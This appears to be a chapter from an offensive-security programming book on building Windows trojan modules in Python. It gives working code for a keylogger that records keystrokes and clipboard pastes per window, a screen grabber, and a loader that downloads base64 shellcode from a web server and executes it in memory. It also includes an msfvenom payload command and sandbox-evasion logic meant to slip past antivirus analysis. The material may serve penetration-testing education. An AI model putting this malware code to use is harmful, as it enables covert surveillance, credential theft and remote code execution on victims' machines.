8
COMMON TROJANING TASKS ON WINDOWS



When you deploy a trojan, you may want to perform a few common tasks with it: grab keystrokes, take screenshots, and execute shellcode to provide an interactive session to tools like CANVAS or Metasploit. This chapter focuses on performing these tasks on Windows systems. We'll wrap things up with some sandbox detection techniques to determine if we are running within an antivirus or forensics sandbox. These modules will be easy to modify and will work within the trojan framework developed in Chapter 7. In later chapters, we'll explore privilege escalation techniques that you can deploy with your trojan. Each technique comes with its own challenges and probability of being caught, either by the end user or an antivirus solution.

We recommend that you carefully model your target after you've implanted your trojan so that you can test the modules in your lab

before trying them on a live target. Let's get started by creating a simple keylogger.

Keylogging for Fun and Keystrokes

Keylogging, the use of a concealed program to record consecutive keystrokes, is one of the oldest tricks in the book, and it's still employed with various levels of stealth today. Attackers still use it because it's extremely effective at capturing sensitive information such as credentials or conversations.

An excellent Python library named `PyWinHook` enables us to easily trap all keyboard events (*https://pypi.org/project/pyWinhook/*). PyWinHook is a fork of the original PyHook library and is updated to support Python 3. It takes advantage of the native Windows function `SetWindowsHookEx`, which allows us to install a user-defined function to be called for certain Windows events. By registering a hook for keyboard events, we'll be able to trap all of the keypresses that a target issues. On top of this, we'll want to know exactly what process they are executing these keystrokes against so that we can determine when usernames, passwords, or other tidbits of useful information are entered.

PyWinHook takes care of all of the low-level programming for us, which leaves the core logic of the keystroke logger up to us. Let's crack open *keylogger.py* and drop in some of the plumbing:

```
from ctypes import byref, create_string_buffer,  c_ulong,
windll
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60*10

class KeyLogger:
```

```
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
     1 hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
     2 windll.user32.GetWindowThreadProcessId(hwnd,
byref(pid))
        process_id = f'{pid.value}'

        executable = create_string_buffer(512)
     3 h_process = windll.kernel32.OpenProcess(0x400|0x10,
False, pid)
     4 windll.psapi.GetModuleBaseNameA(
                    h_process, None, byref(executable), 512)

        window_title = create_string_buffer(512)
     5 windll.user32.GetWindowTextA(hwnd,
byref(window_title), 512)
           try:
               self.current_window =
window_title.value.decode()
           except UnicodeDecodeError as e:
               print(f'{e}: window name unknown')

        6 print('\n', process_id,
                  executable.value.decode(),
self.current_window)

           windll.kernel32.CloseHandle(hwnd)
           windll.kernel32.CloseHandle(h_process)
```

All right! We define a constant, `TIMEOUT`, create a new class, `KeyLogger`, and write the `get_current_process` method that will capture the active window and its associated process ID. Within that method, we first call `GetForeGroundWindow`1, which returns a handle to the active window on the target's desktop. Next we pass that handle to the `GetWindowThreadProcessId`2 function to retrieve the window's process ID. We then open the process 3, and using the resulting process handle, we find the actual executable name 4 of the process. The final step is to grab the full text of the window's title bar using the `GetWindowTextA`5 function. At the end of this helper method,

we output all of the information 6 in a nice header so that you can clearly see which keystrokes went with which process and window. Now let's put the meat of our keystroke logger in place to finish it off:

```
    def mykeystroke(self, event):
     1 if event.WindowName != self.current_window:
            self.get_current_process()
     2 if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
       else:
        3 if event.Key == 'V':
               win32clipboard.OpenClipboard()
               value = win32clipboard.GetClipboardData()
               win32clipboard.CloseClipboard()
               print(f'[PASTE] - {value}')
           else:
               print(f'{event.Key}')
       return True

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()

    kl = KeyLogger()
 4 hm = pyHook.HookManager()
 5 hm.KeyDown = kl.mykeystroke
 6 hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()

    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log

if __name__ == '__main__':
    print(run())
    print('done.')
```

Let's break this down, starting with the `run` function. In Chapter 7, we created modules that a compromised target could run. Each module had an entry-point function called `run`, so we write this keylogger to follow the same pattern and we can use it in the same way. The `run` function in the command-and-control system from

Chapter 7 takes no arguments and returns its output. To match that behavior here, we temporarily switch `stdout` to a file-like object, `StringIO`. Now, everything written to `stdout` will go to that object, which we will query later.

After switching `stdout`, we create the `KeyLogger` object and define the PyWinHook `HookManager`4. Next, we bind the `KeyDown` event to the `KeyLogger` callback method `mykeystroke`5. We then instruct PyWinHook to hook all keypresses 6 and continue execution until we time out. Whenever the target presses a key on the keyboard, our `mykeystroke` method is called with an event object as its parameter. The first thing we do in `mykeystroke` is check if the user has changed windows 1, and if so, we acquire the new window's name and process information. We then look at the keystroke that was issued 2, and if it falls within the ASCII-printable range, we simply print it out. If it's a modifier (such as the SHIFT, CTRL, or ALT key) or any other nonstandard key, we grab the key name from the event object. We also check if the user is performing a paste operation 3, and if so, we dump the contents of the clipboard. The callback function wraps up by returning `True` to allow the next hook in the chain—if there is one—to process the event. Let's take it for a spin!

Kicking the Tires

It's easy to test our keylogger. Simply run it and then start using Windows normally. Try using your web browser, calculator, or any other application and then view the results in your terminal:

```
C:\Users\tim>python keylogger.py

 6852 WindowsTerminal.exe Windows PowerShell
Return
test
Return

 18149 firefox.exe Mozilla Firefox
nostarch.com
Return

 5116 cmd.exe Command Prompt
```

```
calc
Return

 3004 ApplicationFrameHost.exe Calculator
1 Lshift
+1
Return
```

You can see that we typed the word *test* into the main window where the keylogger script ran. We then fired up Firefox, browsed to nostarch.com, and ran some other applications. We can now safely say that we've added our keylogger to our bag of trojaning tricks! Let's move on to taking screenshots.

Taking Screenshots

Most pieces of malware and penetration testing frameworks include the capability to take screenshots on the remote target. This can help capture images, video frames, or other sensitive data that you might not see with a packet capture or keylogger. Thankfully, we can use the `pywin32` package to make native calls to the Windows API to grab them. Install the package with `pip`:

```
pip install pywin32
```

A screenshot grabber will use the Windows Graphics Device Interface (GDI) to determine necessary properties, such as the total screen size, and to grab the image. Some screenshot software will grab a picture of only the currently active window or application, but we'll capture the entire screen. Let's get started. Crack open *screenshotter.py* and drop in the following code:

```
import base64
import win32api
import win32con
import win32gui
import win32ui

def get_dimensions():
    width =
```

```
    win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height =
    win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left =
    win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top =
    win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
        return (width, height, left, top)

    def screenshot(name='screenshot'):
     2  hdesktop = win32gui.GetDesktopWindow()
        width, height, left, top = get_dimensions()

     3  desktop_dc = win32gui.GetWindowDC(hdesktop)
        img_dc = win32ui.CreateDCFromHandle(desktop_dc)
     4  mem_dc = img_dc.CreateCompatibleDC()

     5  screenshot = win32ui.CreateBitmap()
        screenshot.CreateCompatibleBitmap(img_dc, width, height)
        mem_dc.SelectObject(screenshot)
     6  mem_dc.BitBlt((0,0), (width, height),
                      img_dc, (left, top), win32con.SRCCOPY)
     7  screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp')

        mem_dc.DeleteDC()
        win32gui.DeleteObject(screenshot.GetHandle())

8   def run():
        screenshot()
        with open('screenshot.bmp') as f:
            img = f.read()
        return img

    if __name__ == '__main__':
        screenshot()
```

Let's review what this little script does. We acquire a handle to the entire desktop 2, which includes the entire viewable area across multiple monitors. We then determine the size of the screen (or screens) 1 so that we know the dimensions required for the screenshot. We create a device context using the `GetWindowDC`3 function call and pass in a handle to the desktop. (Learn more about device contexts and GDI programming on the Microsoft Developer

Network [MSDN] at *msdn.microsoft.com*.) Next, create a memory-based device context 4, where we'll store our image capture until we write the bitmap bytes to a file. We then create a bitmap object 5 that is set to the device context of our desktop. The `SelectObject` call then sets the memory-based device context to point at the bitmap object that we're capturing. We use the `BitBlt`6 function to take a bit-for-bit copy of the desktop image and store it in the memory-based context. Think of this as a `memcpy` call for GDI objects. The final step is to dump this image to disk 7.

This script is easy to test: just run it from the command line and check the directory for your *screenshot.bmp* file. You can also include this script in your GitHub command and control repo, since the `run` function 8 calls the `screenshot` function to create the image and then reads and returns the file data.

Let's move on to executing shellcode.

Pythonic Shellcode Execution

There might come a time when you want to be able to interact with one of your target machines, or use a juicy new exploit module from your favorite penetration testing or exploit framework. This typically, though not always, requires some form of shellcode execution. In order to execute raw shellcode without touching the filesystem, we need to create a buffer in memory to hold the shellcode and, using the `ctypes` module, create a function pointer to that memory. Then we just call the function.

In our case, we'll use `urllib` to grab the shellcode from a web server in base64 format and then execute it. Let's get started! Open up *shell_exec.py* and enter the following code:

```
from urllib import request

import base64
import ctypes

kernel32 = ctypes.windll.kernel32
```

```
def get_code(url):
1   with request.urlopen(url) as response:
        shellcode =  base64.decodebytes(response.read())
    return shellcode

2 def write_memory(buf):
    length = len(buf)

    kernel32.VirtualAlloc.restype = ctypes.c_void_p
3   kernel32.RtlMoveMemory.argtypes = (
    ctypes.c_void_p,
    ctypes.c_void_p,
    ctypes.c_size_t)

4   ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
    kernel32.RtlMoveMemory(ptr, buf, length)
    return ptr

def run(shellcode):
5   buffer = ctypes.create_string_buffer(shellcode)

    ptr = write_memory(buffer)

6   shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
7   shell_func()

if __name__ == '__main__':
    url = "http://192.168.1.203:8100/shellcode.bin"
    shellcode = get_code(url)
    run(shellcode)
```

How awesome is that? We kick off our main block by calling the `get_code` function to retrieve the base64-encoded shellcode from our web server 1. Then we call the `run` function to write the shellcode into memory and execute it.

In the `run` function, we allocate a buffer 5 to hold the shellcode after we've decoded it. Next we call the `write_memory` function to write the buffer into memory 2.

To be able to write into memory, we have to allocate the memory we need (`VirtualAlloc`) and then move the buffer containing the shellcode into that allocated memory (`RtlMoveMemory`). To ensure that

the shellcode will run whether we're using 32- or 64-bit Python, we must specify that the result we want back from `VirtualAlloc` is a pointer, and that the arguments we will give the `RtlMoveMemory` function are two pointers and a size object. We do this by setting the `VirtualAlloc.restype` and the `RtlMoveMemory.argtypes`3. Without this step, the width of the memory address returned from `VirtualAlloc` will not match the width that `RtlMoveMemory` expects.

In the call to `VirtualAlloc`4, the `0x40` parameter specifies that the memory should have permissions set to execute and read/write access; otherwise, we won't be able to write and execute the shellcode. Then we move the buffer into the allocated memory and return the pointer to the buffer. Back in the `run` function, the `ctypes.cast` function allows us to cast the buffer to act like a function pointer 6 so that we can call our shellcode as we would call any normal Python function. We finish it up by calling the function pointer, which then causes the shellcode to execute 7.

Kicking the Tires

You can hand-code some shellcode or use your favorite pentesting framework like CANVAS or Metasploit to generate it for you. As CANVAS is a commercial tool, take a look at this tutorial for generating Metasploit payloads: *http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads/*. We picked some Windows x86 shellcode with the Metasploit payload generator (`msfvenom`in our case). Create the raw shellcode in */tmp/shellcode.raw* on your Linux machine as follows:

```
msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw
cmd=calc.exe > shellcode.raw
$ base64 -w 0 -i shellcode.raw > shellcode.bin

$ python -m http.server 8100
Serving HTTP on 0.0.0.0 port 8100 ...
```

We create the shellcode with `msfvenom` and then base64-encode it using the standard Linux command `base64`. The next little trick uses the `http.server` module to treat the current working directory (in our

case, */tmp/*) as its web root. Any HTTP requests for files on port 8100 will be served automatically for you. Now drop your *shell_exec.py* script on your Windows box and execute it. You should see the following in your Linux terminal:

```
192.168.112.130 - - [12/Jan/2014 21:36:30] "GET
/shellcode.bin HTTP/1.1" 200 -
```

This indicates that your script has retrieved the shellcode from the web server you set up using the `http.server` module. If all goes well, you'll receive a shell back to your framework and will have popped *calc.exe*, gotten a reverse TCP shell, displayed a message box, or whatever your shellcode was compiled for.

Sandbox Detection

Increasingly, antivirus solutions employ some form of sandboxing to determine the behavior of suspicious specimens. Regardless of whether this sandbox runs on the network perimeter, which is becoming more popular, or on the target machine itself, we must do our best to avoid tipping our hand to any defense in place on the target's network.

We can use a few indicators to try to determine whether our trojan is executing within a sandbox. We'll monitor our target machine for recent user input. Then we'll add some basic intelligence to look for keystrokes, mouse clicks, and double-clicks. A typical machine has many user interactions on a day in which it has been booted, whereas a sandbox environment usually has no user interaction, because sandboxes are typically used as an automated malware analysis technique.

Our script will also try to determine if the sandbox operator is sending input repeatedly (for instance, a suspicious, rapid succession of continuous mouse clicks) in order to try to respond to rudimentary sandbox detection methods. Finally, we'll compare the last time a user interacted with the machine versus how long the

machine has been running, which should give us a good idea whether or not we are inside a sandbox.

We can then make a determination as to whether we would like to continue executing. Let's start working on some sandbox detection code. Open *sandbox_detect.py* and throw in the following code:

```
from ctypes import byref, c_uint, c_ulong, sizeof, Structure,
windll
import random
import sys
import time
import win32api

class LASTINPUTINFO(Structure):
    fields_ = [
        ('cbSize', c_uint),
        ('dwTime', c_ulong)
    ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
 1  struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO)

windll.user32.GetLastInputInfo(byref(struct_lastinputinfo))
 2  run_time = windll.kernel32.GetTickCount()
    elapsed = run_time - struct_lastinputinfo.dwTime
    print(f"[*] It's been {elapsed} milliseconds since the
last event.")
    return elapsed

3  while True:
    get_last_input()
    time.sleep(1)
```

We define the necessary imports and create a `LASTINPUTINFO` structure that will hold the timestamp, in milliseconds, of when the last input event was detected on the system. Next, we create a function, `get_last_input`, to determine the last time of input. Do note that you have to initialize the `cbSize`1 variable to the size of the structure before making the call. We then call the `GetLastInputInfo` function, which populates the `struct_lastinputinfo.dwTime` field with the timestamp. The next step is to determine how long the system

has been running by using the `GetTickCount`2 function call. The elapsed time is the amount of time the machine has been running minus the time of last input. The last little snippet of code 3 is simple test code that lets you run the script and then move the mouse, or hit a key on the keyboard, and see this new piece of code in action.

It's worth noting that the total-running system time and the last-detected user input event can vary depending on your particular method of implantation. For example, if you've implanted your payload using a phishing tactic, it's likely that a user had to click a link or perform some other operation to get infected. This means that within the last minute or two, you'd see user input. But if you see that the machine has been running for 10 minutes and the last detected input was 10 minutes ago, you're likely inside a sandbox that has not processed any user input. These judgment calls are all part of having a good trojan that works consistently.

You can use this same technique when polling the system to see whether or not a user is idle, as you may want to start taking screenshots only when they're actively using the machine. Likewise, you may want to transmit data or perform other tasks only when the user appears to be offline. You could also, for example, track a user over time to determine what days and hours they are typically online.

Keeping this in mind, let's define three thresholds for how many of these user input values we'll have to detect before deciding that we're no longer in a sandbox. Delete the last three lines of test code and add some additional code to look at keystrokes and mouse clicks. We'll use a pure `ctypes` solution this time, as opposed to the PyWinHook method. You can easily use PyWinHook for this purpose as well, but having a couple of different tricks in your toolbox always helps, as each antivirus and sandboxing technology has its own way of spotting these tricks. Let's get coding:

```
class Detector:
    def __init__(self):
        self.double_clicks = 0
        self.keystrokes = 0
        self.mouse_clicks = 0
```

```
def get_key_press(self):
 1 for i in range(0, 0xff):
     2 state = win32api.GetAsyncKeyState(i)
        if state & 0x0001:
         3 if i == 0x1:
                self.mouse_clicks += 1
                return time.time()
         4 elif i > 32 and i < 127:
                self.keystrokes += 1
    return None
```

We create a `Detector` class and initialize the clicks and keystrokes to zero. The `get_key_press` method tells us the number of mouse clicks, the time of the mouse clicks, and how many keystrokes the target has issued. This works by iterating over the range of valid input keys 1; for each key, we check whether it has been pressed using the `GetAsyncKeyState`2 function call. If the key's state shows it is pressed (`state & 0x0001` is truthy), we check if its value is `0x1`3, which is the virtual key code for a left-mouse-button click. We increment the total number of mouse clicks and return the current timestamp so that we can perform timing calculations later on. We also check if there are ASCII keypresses on the keyboard 4 and, if so, simply increment the total number of keystrokes detected.

Now let's combine the results of these functions into our primary sandbox detection loop. Add the following method to *sandbox_detect.py*:

```
def detect(self):
    previous_timestamp = None
    first_double_click = None
    double_click_threshold = 0.35

 1 max_double_clicks = 10
    max_keystrokes = random.randint(10,25)
    max_mouse_clicks = random.randint(5,25)
    max_input_threshold = 30000

 2 last_input = get_last_input()
    if last_input >= max_input_threshold:
        sys.exit(0)
```

```
        detection_complete = False
        while not detection_complete:
         3 keypress_time = self.get_key_press()
            if keypress_time is not None and
previous_timestamp is not None:
             4 elapsed = keypress_time - previous_timestamp

             5 if elapsed <= double_click_threshold:
                    self.mouse_clicks -= 2
                    self.double_clicks += 1
                    if first_double_click is None:
                        first_double_click = time.time()
                    else:
                    6 if self.double_clicks >=
max_double_clicks:
                          7 if (keypress_time -
first_double_click <=

(max_double_clicks*double_click_threshold)):
                                  sys.exit(0)
             8 if (self.keystrokes >= max_keystrokes and
                    self.double_clicks >= max_double_clicks
and
                    self.mouse_clicks >= max_mouse_clicks):
                    detection_complete = True

                previous_timestamp = keypress_time
            elif keypress_time is not None:
                previous_timestamp = keypress_time

if __name__ == '__main__':
    d = Detector()
    d.detect()
    print('okay.')
```

All right. Be mindful of the indentation in these code blocks! We start by defining some variables 1 to track the timing of mouse clicks and three thresholds with regard to how many keystrokes, mouse clicks, or double-clicks we're happy with before considering ourselves to be running outside a sandbox. We randomize these thresholds with each run, but you can of course set thresholds of your own based on your own testing.

We then retrieve the elapsed time 2 since some form of user input has been registered on the system, and if we feel that it has been too long since we've seen input (based on how the infection took place, as mentioned previously), we bail out and the trojan dies. Instead of dying here, your trojan could perform some innocuous activity such as reading random registry keys or checking files. After we pass this initial check, we move on to our primary keystroke and mouse-click-detection loop.

We first check for keypresses or mouse clicks 3, knowing that if the function returns a value, it is the timestamp of when the keypress or mouse click occurred. Next, we calculate the time elapsed between mouse clicks 4 and then compare it to our threshold 5 to determine whether it was a double-click. Along with double-click detection, we're looking to see if the sandbox operator has been streaming click events 6 into the sandbox to try to fake out sandbox detection techniques. For example, it would be rather odd to see 100 double-clicks in a row during typical computer usage. If the maximum number of double-clicks has been reached and they happened in rapid succession 7, we bail out. Our final step is to see if we have made it through all of the checks and reached our maximum number of clicks, keystrokes, and double-clicks 8; if so, we break out of our sandbox detection function.

We encourage you to tweak and play with the settings as well as to add additional features, such as virtual machine detection. It might be worthwhile to track typical usage in terms of mouse clicks, double-clicks, and keystrokes across a few computers that you own (we mean ones you actually possess—not ones you have hacked into!) to see where you feel the happy spot is. Depending on your target, you may want more paranoid settings, or you may not be concerned with sandbox detection at all.

The tools you developed in this chapter can act as a base layer of features to roll out in your trojan, and because of the modularity of our trojaning framework, you can choose to deploy any one of them.